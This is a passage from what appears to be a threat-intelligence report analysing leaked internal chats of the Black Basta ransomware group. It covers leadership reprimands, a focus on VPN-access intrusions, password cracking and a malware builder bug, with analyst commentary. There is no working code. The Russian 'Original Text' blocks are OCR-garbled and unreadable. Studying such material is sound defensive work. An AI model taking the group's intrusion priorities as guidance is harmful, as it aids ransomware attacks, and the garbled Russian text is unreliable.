[omitted]

2023-10-26 15:59:55,
@usernamegg:matrix.bestflowers247.online, xyeso
YTO BaC He YBMXXY 3aBTPa, HY 1aHO B Bbixu B baHe
CNIOBMMCS WAV 3aBTpPa, MOCMOTPIO Ye TyT byaeT
2023-10-26 16:00:26,
@usernamezz:matrix.bestflowers247.online, Mbl Ha
cBA3un 24/7

2023-10-26 16:00:39,
@usernamezz:matrix.bestflowers247.online, B Bbixn
xaem baHto

This exchange shows that Black Basta members maintain close communal living and relationships, such as going

to the sauna together as an office unit even in their private time. They adjust group activities considering health

conditions and wishes to go home, revealing a flexible and cooperative organizational culture where daily life

and attack activities intermingle.
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|4.2 Organizational Structure

gg and some members managed activities and member control strictly while overseeing base operations,

creating environments where operational and daily activities integrated completely. Organizational discussions

addressed name changes and restructuring in response to external shifts, with consideration for member

relations including technical evaluations and compensation distribution. Despite power relationship issues, the

hierarchy based on technical capabilities remained intact.

Directives and Reprimands from gg and Senior Members

gg Expressing Urgency Regarding Members' Attitudes

Translated

2023-11-20 12:45:07,
@usernamegg:matrix.bestflowers247.online, * | call
you and you're sitting at the hookah lounge ! For me
this is a very big indicator ! Now I'll only do VPN
access ! forget about spam! over the weekend there
were several accesses, for example Australia meat
producers 600m and the guys from the second office
couldn't do it, do you know why? because there's no
knowledge and no experience handling VPNs! | sat
with them myself and dragged their machine by port

and DNS with FUCKING SOPHOS!) Today our network

paid from VPN access, | see the future in this! | won't
send spam anymore, nothing to send, better to work
5-10 VPN accesses per month with quality and get

from them! than sit and mess with this small stuff! but
to learn how to process them you need to go through
a life-long journey, like blind kittens you'll piss around

every time looking for where to latch on. You need to
reconsider your attitude toward work now, stop
thinking about some useless business and focus on
new knowledge and a new approach to this work, if

you see yourself in this of course. The development of

all those guys depends on you. They're degrading
there and getting nothing new from you, they need
to be developed because this world doesn't stand still
and there's very rapid development here and new
knowledge and a different approach is needed! Tell
me if you want to move the process forward and
develop then start, if not then I'd better shut down
that office. | don't see the point in keeping it without
a good developing team leader. There are guys there
who desperately want to work hard and develop but
looking at the leader they're standing still and stuck
(that's why it's bad! think it over and reconsider, I'll

Original Text

2023-11-20 12:45:07,
@usernamegg:matrix.bestflowers247.online, * Tebe
3BOHIO Thbl KaslbHKe cnamnLb ! [lna MeHs 3To oueHb
6osbLon nokasatens | Cenyac 6yay TONbKO BMH
poctynbl | npo cnam 3abyabTe! B BbIXOAHbIE 6b110
HeCKOJIbKO JOCTYMNOB, HanprMep aBCcTpanmns
npowussoanTenn Msca 600m n pebsTta co BTOporo
oduca He CMOrNN ee caenatb , BCe MoYeMy 3Haellb?
MOTOMY UTO 3aHWMN HETY 1 OMNbITa HETY BMHKN KPYTUTb!
f CaM CUAEN C HAMM U 3aTAHYA UM Tauky Mo nopty v
Ha aHc ¢ COOOCOM EBYYNMY!) Y Hac cerogHs ceTka
3annaTuaa ¢ vpn AOCTyna, f BUXY B 3TOM byaytouee!
fl bonblue He Byay cnaTb cnam, HeYero ciath, Jydlle
5-10 vpn AocTynoB B MecsiL, OTpaboTaTb Ka4eCTBEHHO
M NOAYYNTb C HUX! YEM CUAETH M BCTbIKaTb C 3TON
Menoubto! HO UTO 6bI UX HAay4uMTbCS 0bpabaTbiBaTb
HY>XHO MPOWTK NYTb AJIMHHON B XW3Hb, KaK Caernble
KaTATa KaXabl pa3 byaeTe cukaTb CUbKY KyAa
npucocatbes. Tebe Hago NepecMOTpeTb cevac CBoe
OTHOLLEHWe K paboTe, NnepectaTb AyMaTb O KaKOM
H6ecnone3Hom b13Hecce 1 CKOHLEHTPUPOBATLCA Ha
HOBbIX 3HAHUSAX N HOBOMO MOAXOAE K 3TOM paboTe,
€C/IV Tbl KOHEYHO BUAULLL cebs B 3ToM. OT Tebs
3aBUCUT pa3BuUTME BCeX Tex pebaT. OH Tam
AEerpaanpyroT ¥ HUYEero HOBOTO He MoJly4YatoT OT Tebs,
NX HaZo pa3BMBaTb Tak Kak 3TOT MUP He CTOMUT Ha
OZHOM MeCTe U TyT UAeT pa3BanTre 0YeHb HbiCTpoe u
HY>XAHbI HOBbIe 3HaHWA 1 Apyrou noaxoa! Tel MHe
CKaXku eC/Iv Xo4eLlb ABUraTb NPOLLECC N pa3BanBaTb
TO HaYMHaWM ecan HeT TO AyyLle A NPUKPOD TOT oduC.
Cwmbicna ero gepxatb 6e3 xopolue pa3BmnBaroLLLero
Tumangepa He BUXKY. TaM ecTb pebsTa KTO Kanew, kak
XOTAT CUNbHO paboTaTh M pa3BamBaTCs HO rasAa Ha
ngepa OHWM CTOAT Ha MecTe M ynepsaunch ( OT 3TOro n
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come by in the evening to discuss your action plan
going forward.

[omitted]

2023-11-20 13:22:47,
@usernamevv:matrix.bestflowers247.online, 1.
Regarding sitting at the hookah lounge there's a
certain dependence, you know yourself, | wasn't the
one who started smoking hookah on a person (!),
here it's like without any claims, just remember how it
started, | never even smoked one hookah alone
before. 2. Today our network paid from VPN access, |
see the future in this! --- this is good 3. There won't
be spam, well nothing - tired of spitting at the ceiling
sitting already, just waiting while one person (plus
with people who encrypt files etc.) does everything,
and we're just on standby hoping to catch something.
4. than sit and mess with this small stuff! --- we came
to this long ago, but sat working our asses off, | can
remember how we set up metro the 2nd time for
example (and this isn't small stuff, was done for who
knows what), set up networks right before New Year
just hammering one after another, set up with other
people's software etc. etc. and there was no profit in
the end, since we started talking about this. (point 2)
5. relations with that office (this is also important, and
if it's not resolved - it will remain so), it drags on and
will drag on, not enough money for everyone,
although in fact to raise everything now, it's not
certain that someone there got poorer during this
time. 6. envy - well no brains, or something else, sit
and work 24/7 7. word against - well nobody says it
to you, everyone does as you want, only | stepped out
of line - inconvenient. | told you about this earlier
2023-11-20 13:23:30,
@usernamevv:matrix.bestflowers247.online, here we
can discuss endlessly, reason and so on

naoxo 370! BoobLe nogyman n nepecMoTpu, a
BeuepoM 3aesy obcyaM TBOW NnaH AeNCTBUIA
Aanblue.

[omitted]

2023-11-20 13:22:47,
@usernamevv:matrix.bestflowers247.online, 1.
Kacaemo Toro, 4to B KasIbAHHOW CMXXY 3aBUCMMOCTb
eCTb onpejeneHHas, caM 3Haellb, He A HaunHan
KypWTb KanbsiH Ha yenoBeka (!) , TyT kak 6bl 6e3
BCAKUX NPeAbAB, NPOCTO BCMOMHWN KakK Ha4MHanoCh, A
paHbLUe OAMH KalbAH B OAHOrO gaxe He Kypwua. 2. Y
Hac cerofHsa ceTka 3annaTuia ¢ vpn AOCTyna, s BUXY B
aTom bBygaytouee! --- 310 rya 3. Cnama He BygeT, Hy
HWYero - HaZoeno naeBaTb B MOTONOK CUAETL YXKe,
NPOCTO XAaTb, MOKa OAMH YenoBek (B £06aBOK €
NFOABMU, KTO KpUNTyeT dhann 1 T4 1 TN) caenaet BCe, a
Mbl MPOCTO Ha NoaxBaTe MaAULLb YTO-TO NoriMaeM. 4.
4yeMm CMAETb U BCTbIKaTb C 3TON MenoYbto! --- JaBHO
yXe K 3TOMY NPpUXoANAN, HO cnaenn paboTtanm Ha
13beb , MOry BCMOMHUTb Kak CTaBUIM METPO 2-OW pa3
Hanpumep (a 3TO He MeoYb, Aenanochb X3 411 Yero) ,
ctaBuav nepeg HI ceTkm npsam xyspuam 3anoapsga,
CTaBWAW Yy>KMM COPTOM M T.4. U T.MN. @ NpoduTa He
6b110 MO UTOrY, pa3 Mbl Hayann 06 3ToM. (MyHKT 2) 5.
B3aWMMOOTHOLLEHNA C TeM 0PUCOM (TYT TOXeE BaXKHO, U
€C/IM 3TO He PEeLUAeTCs - OHO TakK U OCTAHETCA) , OHO
TAHETCA M ByZeT TAHYTbCA, Mano BceM babna, xoTa no
baKTy Wac NogHATb BCe, He $akT YTO KTO-TO Tam
obegHen 3a 370 BpeMs. 6. 3aBUCTb - Hy BaLlKu HeT,
WAV eLe yero, cuam ebawb 24/7 7. cnoBo nonepexk -
Hy Tebe ero HMKTO He rOBOPWUT, BCE AeNatoT Kak Tbl
X0uellb, OAVH f U3 KOJIen Bblllen - He yaobeH. s Tebe
ropopwua 06 3TOM paHee

2023-11-20 13:23:30,
@usernamevv:matrix.bestflowers247.online, Tyt
MOXHO H6eCKOHEeUHO 06Cy>XaaTh, paccyXAaTb 1
npouee

This conversation reveals crisis awareness regarding rapidly evolving security measures and anxiety about

organizational responses falling behind. Internal concerns about stagnating technology and knowledge emerge,

while demands for member adaptation and learning suggest gg views continuous evolution as survival

prerequisites.
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gg's Irritation with Missed Deadlines

Translated

2024-01-30 17:20:00,
@usernamegg:matrix.bestflowers247.online, so what
about you in the end

2024-01-30 17:20:03,
@usernamegg:matrix.bestflowers247.online, the
weekend passed

2024-01-30 17:20:08,
@usernamegg:matrix.bestflowers247.online, | waited
for Monday

2024-01-30 17:20:15,
@usernamegg:matrix.bestflowers247.online, you said
almost swearing on your mother I'll deliver everything
2024-01-30 17:20:20,
@usernamegg:matrix.bestflowers247.onlineg, in the
end you have an error there

2024-01-30 17:20:27,
@usernamegg:matrix.bestflowers247.online, you
knew this a week ago

2024-01-30 17:20:40,
@n3auxaxl:matrix.collectionofmanager.space, | know,
that's why | wrote this

2024-01-30 17:20:30,
@usernamegg:matrix.bestflowers247.online, that you
have problems there

2024-01-30 17:20:38,
@usernamegg:matrix.bestflowers247.online, you're
just telling fairy tales

2024-01-30 17:20:42,
@usernamegg:matrix.bestflowers247.online, we
gathered to work

2024-01-30 17:20:47,
@usernamegg:matrix.bestflowers247.online, we need
the software

2024-01-30 17:20:50,
@usernamegg:matrix.bestflowers247.online, tell me
specifically

2024-01-30 17:20:57,
@usernamegg:matrix.bestflowers247.online, when
2024-01-30 17:21:01,
@usernamegg:matrix.bestflowers247.online, I'll get
everyone ready during this time

2024-01-30 17:21:18,
@usernamegg:matrix.bestflowers247.online, or else
they're already not taking me seriously because of
this approach

Original Text

2024-01-30 17:20:00,
@usernamegg:matrix.bestflowers247.online, Hy uTto
Tbl B UTOTE

2024-01-30 17:20:03,
@usernamegg:matrix.bestflowers247.online,
BbIXOZHbIE MPOLUAN

2024-01-30 17:20:08,
@usernamegg:matrix.bestflowers247.online, s xaanH
MH

2024-01-30 17:20:15,
@usernamegg:matrix.bestflowers247.online, Tbl
CKa3an YyTb M HE MaMOW KASHYCb BCE BblAaMm
2024-01-30 17:20:20,
@usernamegg:matrix.bestflowers247.online, B utore y
Teb6a Tam owmbka

2024-01-30 17:20:27,
@usernamegg:matrix.bestflowers247.online, Tbl 3HaN
3TO elle Heaento Haszak

2024-01-30 17:20:40,
@n3auxaxl:matrix.collectionofmanager.space, s 3Hato,
NO3TOMY W Hanucan 3To

2024-01-30 17:20:30,
@usernamegg:matrix.bestflowers247.online, uto y
Tebs Tam npobaemsl

2024-01-30 17:20:38,
@usernamegg:matrix.bestflowers247.online, npocto
pacckasbiBaellb HebbMLbI

2024-01-30 17:20:42,
@usernamegg:matrix.bestflowers247.online, mbl
cobpanucb paboTaTb

2024-01-30 17:20:47,
@usernamegg:matrix.bestflowers247.online, Ham
Hy>XeH codT

2024-01-30 17:20:50,
@usernamegg:matrix.bestflowers247.online, ckaxwu
KOHKPETHO

2024-01-30 17:20:57,
@usernamegg:matrix.bestflowers247.online, koraa
2024-01-30 17:21:01,
@usernamegg:matrix.bestflowers247.online, s Bcex
NOATOHIO MOAX 3TO BPEMS

2024-01-30 17:21:18,
@usernamegg:matrix.bestflowers247.online, a To y xe
Ha MeHs He Cepb3AHO CMOTPAT 13-3a TaKOro NoAxoAa
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2024-01-30 17:21:35,
@n3auxaxl:matrix.collectionofmanager.space,
Monday

2024-01-30 17:21:37,
@n3auxaxl:matrix.collectionofmanager.space, I'll work
24/7

2024-01-30 17:21:27,
@usernamegg:matrix.bestflowers247.online, | can't
explain everything that's happening with you there
2024-01-30 17:21:37,
@usernamegg:matrix.bestflowers247.online, pfffff
2024-01-30 17:21:55,
@n3auxaxl:matrix.collectionofmanager.space, yes |
understand

2024-01-30 17:21:47,
@usernamegg:matrix.bestflowers247.online, which
Monday?

2024-01-30 17:21:59,
@n3auxaxl:matrix.collectionofmanager.space,
everything will be ready on Monday

2024-01-30 17:22:03,
@n3auxaxl:matrix.collectionofmanager.space, I'll work
24/7

2024-01-30 17:21:51,
@usernamegg:matrix.bestflowers247.online, Monday
again?

2024-01-30 17:22:00,
@usernamegg:matrix.bestflowers247.online, fuck off
2024-01-30 17:23:15,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online>
Monday again? yes, this time everything will definitely
be ready

2024-01-30 17:23:34,
@n3auxaxl:matrix.collectionofmanager.space, I'll
manage to finish by the weekend, but there won't be
launches on weekends

2024-01-30 17:21:35,
@n3auxaxl:matrix.collectionofmanager.space,
NoHeAeNbHUK

2024-01-30 17:21:37,
@n3auxaxl:matrix.collectionofmanager.space, s 6yay
ebawwnTb 24.7

2024-01-30 17:21:27,
@usernamegg:matrix.bestflowers247.online, s >e He
06BACHIO BCe UTO y T€HA NPOMNCXOANT TaMm
2024-01-30 17:21:37,
@usernamegg:matrix.bestflowers247.online, nddpdd
2024-01-30 17:21:55,
@n3auxaxl:matrix.collectionofmanager.space, aa
NOHMMato

2024-01-30 17:21:47,
@usernamegg:matrix.bestflowers247.online, kakoin
NoOHeAeNbHUK?

2024-01-30 17:21:59,
@n3auxaxl:matrix.collectionofmanager.space, B
noHeAeNbHWK BCe ByaeT roToBO

2024-01-30 17:22:03,
@n3auxaxl:matrix.collectionofmanager.space,
ebawuTb byay 24/7

2024-01-30 17:21:51,
@usernamegg:matrix.bestflowers247.online, ewwe pa3
NOHeAeNbHUK?

2024-01-30 17:22:00,
@usernamegg:matrix.bestflowers247.online, Ha Hy
Hax

2024-01-30 17:23:15,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> ewie
pa3 NoHeAeNbHUK? Aa, Ha 3TOT pa3 TOYHO BCe byaeT
2024-01-30 17:23:34,
@n3auxaxl:matrix.collectionofmanager.space, yucneto
cAenatb K BbIXOAHbIM, HO 3arMyCKOB XK€ B BbIXO4HOW
He 6yaet

This conversation highlights strong frustration over delivery delays and eroding trust within the team. gg
conducts harsh inquiries about progress reports, expressing concerns that broken promises affect personal
standing. n3auxaxl offers only excuses and repeated assurances, revealing internal ambiguity in accountability
and coordination deficiencies. These exchanges demonstrate that Black Basta faces typical organizational
challenges in internal process management and interpersonal trust.
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gg's Irritation with Delays in Work Progress and Response Times

Translated

2024-03-07 14:48:28,
@usernameww:matrix.bestflowers247.online, >
<@usernameww:matrix.bestflowers247.online>
<Masked: Credentials> <Masked: Credentials> ------
this one ! it wasn't decrypted?

2024-03-07 14:48:57,
@usernamegg:matrix.bestflowers247.online, this
smells like a shitty attitude )

2024-03-07 14:49:18,
@usernamegg:matrix.bestflowers247.online, * this
smells like a shitty attitude ) toward your work? or
toward us?

2024-03-07 14:52:09,
@usernamehunter:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> this
smells like a shitty attitude ) toward your work? or
toward us? Bro you're wrong. Resources aren't always
enough for everything at once/ need to stop
something. | didn't set this one

2024-03-07 14:52:10,
@username777:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> this
smells like a shitty attitude ) toward your work? or
toward us? | have <Masked: Credentials> in work.
hash <Masked: Credentials> haven't had time to set
for brute force yet.

2024-03-07 14:53:00,
@usernameboy:matrix.bestflowers247.online, and I'm
searching for dss

2024-03-07 14:53:26,
@usernamegg:matrix.bestflowers247.online, your
ping is slow guys( let's read and respond faster, it's
very important.

Original Text

2024-03-07 14:48:28,
@usernameww:matrix.bestflowers247.online, >
<@usernameww:matrix.bestflowers247.online>
“<Masked: Credentials>" <Masked: Credentials> -----
- eto on ! ero He pacwmdposann?

2024-03-07 14:48:57,
@usernamegg:matrix.bestflowers247.online, a 3to
NaxHeT XyeBbIM OTHOLLEHMEM )

2024-03-07 14:49:18,
@usernamegg:matrix.bestflowers247.online, * a 3to
NaxHeT XyeBbIM OTHOLLEHWEM ) K CBOel paboTe? nam K
Ham?

2024-03-07 14:52:09,
@usernamehunter:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> a 310
MaxHeT XyeBbIM OTHOLLEHMEM ) K CBOEN paboTte? nam K
Ham? bpo Tbl owmnbaelwbes. MolHocTel He Bcerga Ha
BCE OZHOBPEMEHHO XBaTaeT/ HYy>KHO YTO-TO
OCTaHOBWTb. fl He CTaBWA 3TOT

2024-03-07 14:52:10,
@username777:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> a 310
MaxHeT XyeBblM OTHOLLIEHWEM ) K CBOel paboTe? nam K
Ham? y MeHs B paboTte <Masked: Credentials> . xeL
<Masked: Credentials> elie He ycnen noctaButb
6pyTUTH .

2024-03-07 14:53:00,
@usernameboy:matrix.bestflowers247.online, n a nwy
acc

2024-03-07 14:53:26,
@usernamegg:matrix.bestflowers247.online, gonruni
MUHF pebsTa y Bac ( jaBall NoLycTpee Yntatb U
OTBeYaTb , O4EHb BaXKHO.

gg harshly criticizes members for the slow progress of password cracking work. While members explain resource
shortages and work priorities, his harsh demands continue for rapid response improvements.
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Conversation Indicating Task Organization and Clarification of Responsibilities

Translated
2023-12-27 22:11:44,

@usernamegg:matrix.bestflowers247.online, this is

always your job
2023-12-27 22:11:47,

@usernamegg:matrix.bestflowers247.online, bio did

the blogs
2023-12-27 22:11:57,

@usernamegg:matrix.bestflowers247.online, searched

for files when they asked

2023-12-27 22:12:02,
@usernamegg:matrix.bestflowers247.online, |
removed blogs from you

2023-12-27 22:12:10,

@usernamegg:matrix.bestflowers247.online, but |

can't remove file searching
2023-12-27 22:12:17,

@usernamegg:matrix.bestflowers247.online, since you

participate in negotiations
2023-12-27 22:12:31,

@usernamegg:matrix.bestflowers247.online, I'll do the

decryption myself

Original Text
2023-12-27 22:11:44,

@usernamegg:matrix.bestflowers247.online, 310

Bcerja TBosi paboTa
2023-12-27 22:11:47,

@usernamegg:matrix.bestflowers247.online, 6uo

aenan 6aoru
2023-12-27 22:11:57,

@usernamegg:matrix.bestflowers247.online, nckan

dannbl KOraa OHV NPOCUAN
2023-12-27 22:12:02,

@usernamegg:matrix.bestflowers247.online, 610ru 5

Cc Teba cHan
2023-12-27 22:12:10,

@usernamegg:matrix.bestflowers247.online, Ho BOT

nouck GannoB He MOTy CHATb
2023-12-27 22:12:17,

@usernamegg:matrix.bestflowers247.online, Tak kak

Tbl B MeperoBopax yyactme npuHMMaellb
2023-12-27 22:12:31,
@usernamegg:matrix.bestflowers247.online,
pacwmndpoBky A caenaro cam

This conversation shows gg stating, "removed the blog but cannot remove file searching," indicating that while
some tasks allow delegation, critical items involving negotiations and operational execution require continuous
oversight. The statement "I'll handle the transcription myself* reveals flexible management where hierarchy
coexists with shared responsibility, as the leader personally undertakes certain practical tasks. Overall, the
exchanges demonstrate conscious task reassignment and clear boundary setting to maintain work efficiency and
accountability.

85



Proposal to Reconsider Inefficient Task Allocation

Translated

2024-06-20 19:12:57,
@usernamegg:matrix.bestflowers247.online, you
upload to everyone else, upload to him too
2024-06-20 19:13:04,
@usernameugway:matrix.bestflowers247.online,
yeah yeah

2024-06-20 19:13:11,
@usernameugway:matrix.bestflowers247.online,
everything got messed up when the accounts went
down

2024-06-20 19:13:20,
@usernameugway:matrix.bestflowers247.online,
we'll stabilize and only do it this way

2024-06-20 19:13:41,
@usernamegg:matrix.bestflowers247.online,
imagine he sits and adds ) and you have to call him,
waste of time and double work

2024-06-20 19:13:57,
@usernameugway:matrix.bestflowers247.online, |
don't argue at all here - we'll do it this way
2024-06-20 19:14:02,
@usernamegg:matrix.bestflowers247.online, ++
2024-06-20 19:14:23,
@usernamegg:matrix.bestflowers247.online, he's
still slow technically

2024-06-20 19:14:26,
@usernamegg:matrix.bestflowers247.online, it's
hard for him

Original Text

2024-06-20 19:12:57,
@usernamegg:matrix.bestflowers247.online, Bcem xe
OCTa/IbHbIM 3arpy>aellb emMy TOXe 3arpy>a
2024-06-20 19:13:04,
@usernameugway:matrix.bestflowers247.online, gaga
2024-06-20 19:13:11,
@usernameugway:matrix.bestflowers247.online, Bce
nepeebasocb KOraa OTNeTeNN akkm

2024-06-20 19:13:20,
@usernameugway:matrix.bestflowers247.online,
cTabunmspyemca byaem fenabTb TONBKO TaK
2024-06-20 19:13:41,
@usernamegg:matrix.bestflowers247.online, oH cnamt
[ob6aBAseT NPUKMHB ) @ eMy 3BOHUTb Hajo , moTeps
BPEMeHM 1 ABOWHasA paboTa

2024-06-20 19:13:57,
@usernameugway:matrix.bestflowers247.online,
BOOOLLe He cnopto TyT - byaem Aenatb Tak
2024-06-20 19:14:02,
@usernamegg:matrix.bestflowers247.online, ++
2024-06-20 19:14:23,
@usernamegg:matrix.bestflowers247.online, oH ewe
TYroi B TEXHUYECKOM MJiaHe

2024-06-20 19:14:26,
@usernamegg:matrix.bestflowers247.online, emy
TAXENO

This conversation demonstrates coordination of work support and efficiency among members. gg requests equal
consideration for technically inexperienced members, reflecting awareness of role-based support needs and

efficiency through avoiding duplicate work. ugway agrees and shows positive attitude toward support system
revision, indicating the organization values flexible responses that account for capability differences in task

execution.
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Conversation Regarding the Tool Builder's Bug Handling

Translated

2024-05-24 08:16:39,
@usernameyy:matrix.bestflowers247.online, * this
single works poorly, low speed and high ping (only
started today)

2024-05-24 09:27:38,
@usernamegg:matrix.bestflowers247.online, we have
a bug

2024-05-24 09:27:56,
@usernamegg:matrix.bestflowers247.online, in the file
builder

2024-05-24 09:28:11,
@usernamegg:matrix.bestflowers247.online, when we
check safe mode all files it makes with it

2024-05-24 09:28:18,
@usernamegg:matrix.bestflowers247.online, well I'm
talking about exe

2024-05-24 09:28:29,
@usernamegg:matrix.bestflowers247.online, and if
you don't check the box it doesn't make it
2024-05-24 09:28:33,
@usernamegg:matrix.bestflowers247.online, how so?
2024-05-24 09:28:40,
@usernamegg:matrix.bestflowers247.online, we
realized this on the network yesterday

2024-05-24 09:29:17,
@usernameyy:matrix.bestflowers247.online, seems all
correct) safe needs to be built separately
2024-05-24 09:30:02,
@usernamegg:matrix.bestflowers247.online, can't
build all files together?

2024-05-24 09:30:13,
@usernamegg:matrix.bestflowers247.online, I'm
building a set without safe mode now

2024-05-24 09:30:16,
@usernameyy:matrix.bestflowers247.online, need to
make the dIl without safe?

2024-05-24 09:30:23,
@usernameyy:matrix.bestflowers247.online, or how
2024-05-24 09:30:40,
@usernameyy:matrix.bestflowers247.online, or add
+safe on top

2024-05-24 09:30:43,
@usernameyy:matrix.bestflowers247.online, one exe
2024-05-24 09:30:44,
@usernameyy:matrix.bestflowers247.onlineg, in the set

Original Text

2024-05-24 08:16:39,
@usernameyy:matrix.bestflowers247.online, * 3to1
CUHIA NA0X0 paboTaeT, HM3Kas CKOPOCTb W BbICOKMIM
MUHT (Ha4anocCb TOIbKO CerogHsa)

2024-05-24 09:27:38,
@usernamegg:matrix.bestflowers247.online, y Hac
6ara

2024-05-24 09:27:56,
@usernamegg:matrix.bestflowers247.online, B
6unesepe dannos

2024-05-24 09:28:11,
@usernamegg:matrix.bestflowers247.online, koraa
Mbl CTaBUM rasky celdmog Bce paiibl OH JenaeT ¢
HUM

2024-05-24 09:28:18,
@usernamegg:matrix.bestflowers247.online, Hy # npo
exe

2024-05-24 09:28:29,
@usernamegg:matrix.bestflowers247.online, a ecan
rasKy He CTaBULLb OH He AenaeTt

2024-05-24 09:28:33,
@usernamegg:matrix.bestflowers247.online, kak Tak?
2024-05-24 09:28:40,
@usernamegg:matrix.bestflowers247.online, mbl
BYEpPA 3TO He CETKe YyXHYAu

2024-05-24 09:29:17,
@usernameyy:matrix.bestflowers247.online, Bpoge
BCE BepHO) cend Hago oTAeNbHO BUnanTb
2024-05-24 09:30:02,
@usernamegg:matrix.bestflowers247.online, Henb3s
6unant Bmecte Bce panbl?

2024-05-24 09:30:13,
@usernamegg:matrix.bestflowers247.online, s 6unxy
ceinyac komniekT 6e3 ceind moga

2024-05-24 09:30:16,
@usernameyy:matrix.bestflowers247.online, Hago
caenatb ytobbl dll 6bi1a 6e3 cenda?

2024-05-24 09:30:23,
@usernameyy:matrix.bestflowers247.online, nunu kak
2024-05-24 09:30:40,
@usernameyy:matrix.bestflowers247.online, nnun
no6aBuThb eLle ceepxy +safe

2024-05-24 09:30:43,
@usernameyy:matrix.bestflowers247.online, oanH exe
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2024-05-24 09:31:00, 2024-05-24 09:30:44,
@usernamegg:matrix.bestflowers247.online, yes @usernameyy:matrix.bestflowers247.online, B
KOMMAEKT
2024-05-24 09:31:00,
@usernamegg:matrix.bestflowers247.online, aa

This conversation reveals technical bug detection during tool building processes and related countermeasure
discussions. gg identifies builder-side malfunctions regarding safe mode settings and diagnoses problems
through network behavior analysis. yy responds with alternatives for build configuration separation and file
integration methods, demonstrating collaborative and practical approaches to technical obstacles. Overall, the
exchange illustrates rapid field-level bug reporting and implementation procedure review processes.
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Conversations in the Base with Blurred Boundaries between Private Life and Work

Translated

2024-04-10 14:52:35,
@usernamegg:matrix.bestflowers247.online, I'm
sleeping in my room for now

2024-04-10 14:52:49,
@usernamecc:matrix.bestflowers247.online, you came
back? everything okay?

2024-04-10 14:52:50,
@usernamegg:matrix.bestflowers247.online, they
injected my whole face with painkiller again and
made an incision in my nose

2024-04-10 14:52:54,
@usernamegg:matrix.bestflowers247.online, yes yes
2024-04-10 14:52:59,
@usernamegg:matrix.bestflowers247.online, I've been
in my room for a while

2024-04-10 14:53:07,
@usernamegg:matrix.bestflowers247.online, I'll go eat
now

2024-04-10 14:53:08,
@usernamegg:matrix.bestflowers247.online, | was
sleeping

2024-04-10 14:53:11,
@usernamecc:matrix.bestflowers247.online, fuck! well
okay we thought you weren't here yet

2024-04-10 14:53:12,
@usernamegg:matrix.bestflowers247.online, please
do

2024-04-10 14:53:20,
@usernamegg:matrix.bestflowers247.online, | was
sleeping

2024-04-10 14:53:24,
@usernamecc:matrix.bestflowers247.online, yeah give
me five minutes I'm looking for files

Original Text

2024-04-10 14:52:35,
@usernamegg:matrix.bestflowers247.online, s cnato B
KOMHaTe noka

2024-04-10 14:52:49,
@usernamecc:matrix.bestflowers247.online, a bl
npuexan? Bce HOpM?

2024-04-10 14:52:50,
@usernamegg:matrix.bestflowers247.online, y meHs
OnsATb BCE L0 06KoN0M 06e6010M U Hagpes
caenanv B Hoce

2024-04-10 14:52:54,
@usernamegg:matrix.bestflowers247.online, ga aa
2024-04-10 14:52:59,
@usernamegg:matrix.bestflowers247.online, s gaBHo
B KOMHaTey cebs

2024-04-10 14:53:07,
@usernamegg:matrix.bestflowers247.online, ceiuac
noecTb Nonay

2024-04-10 14:53:08,
@usernamegg:matrix.bestflowers247.online, cnan
2024-04-10 14:53:11,
@usernamecc:matrix.bestflowers247.online, ebatb! Hy
OK a TO Mbl lyMaeMm 4To Tebs elle HeT

2024-04-10 14:53:12,
@usernamegg:matrix.bestflowers247.online, caenain
nn3

2024-04-10 14:53:20,
@usernamegg:matrix.bestflowers247.online, s cnan
2024-04-10 14:53:24,
@usernamecc:matrix.bestflowers247.online, ara natb
MWH nLLy dannbl

This conversation demonstrates complete fusion between living arrangements and operational activities at the
base. gg mentions resting in the private room while immediately requesting "please do it," with cc responding
promptly "I'll search for files in 5 minutes." Their exchange reveals seamless continuity between daily living
routines and work instructions, indicating permanent residence at the base with blurred boundaries between
personal life and operational activities.
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Daily Conversation Encouraging Discipline and Role Awareness within the Organization

Translated

2023-12-20 07:47:02,
@usernamegg:matrix.bestflowers247.online, good
morning

2023-12-20 08:09:29,
@usernamegg:matrix.bestflowers247.online, GOC
2023-12-20 08:09:34,
@usernamegg:matrix.bestflowers247.online, | need
him

2023-12-20 08:37:47,
@usernamegg:matrix.bestflowers247.online, brother
come in the morning don't be late, | understand that
your beautiful young body needs sleep, but we need
to work. Be more responsible.

2023-12-20 08:38:00,
@usernamegg:matrix.bestflowers247.online, * brother
come in the morning don't be late, | understand that
your beautiful young body needs sleep, but we need
to work. Be more responsible.

2023-12-20 08:47:31,
@w:matrixtcFJHPDbImt2rg.network, I'm here
2023-12-20 08:47:34,
@w:matrixtcFJHPDbImt2rg.network, Hello
2023-12-20 08:47:37,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> GOC?
2023-12-20 08:47:59,
@w:matrixtcFJHPDbImt2rg.network, | even came
earlier

2023-12-20 08:48:30,
@w:matrixtcFJHPDbImt2rg.network, around 7 by
mine, 9 by yours, just rewrote the bot a bit more,
changed a bit in the panel

Original Text

2023-12-20 07:47:02,
@usernamegg:matrix.bestflowers247.online, sobpoe
yTpo

2023-12-20 08:09:29,
@usernamegg:matrix.bestflowers247.online, GOC
2023-12-20 08:09:34,
@usernamegg:matrix.bestflowers247.online, Hy>ceH
MHe

2023-12-20 08:37:47,
@usernamegg:matrix.bestflowers247.online, 6patel,
NPWXOAW C yTpa He OnasabiBai, i MOHVMMAtO YTO TBOM
NpeKpacHbIA MOJIOAON OpraHn3M TpebyeT CHa, HO
HaM Hy>Ho paboTaTb. byab 601ee OTBETCBEHHbIN.
2023-12-20 08:38:00,
@usernamegg:matrix.bestflowers247.online, * 6patey,
NPWXOAWM C yTpa He OnaszbiBai, i MOHVMMAtO YTO TBOM
npeKpacHbIA MOJIOAON OpraHn3M TpebyeT cHa, HO
HaM Hy>Ho paboTaTb. byab 60nee OTBETCTBEHHbIN.
2023-12-20 08:47:31,
@w:matrixtcFJHPDbImt2rg.network, f Tyt
2023-12-20 08:47:34,
@w:matrixtcFJHPDbImt2rg.network, MPuBet
2023-12-20 08:47:37,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> GOC?
2023-12-20 08:47:59,
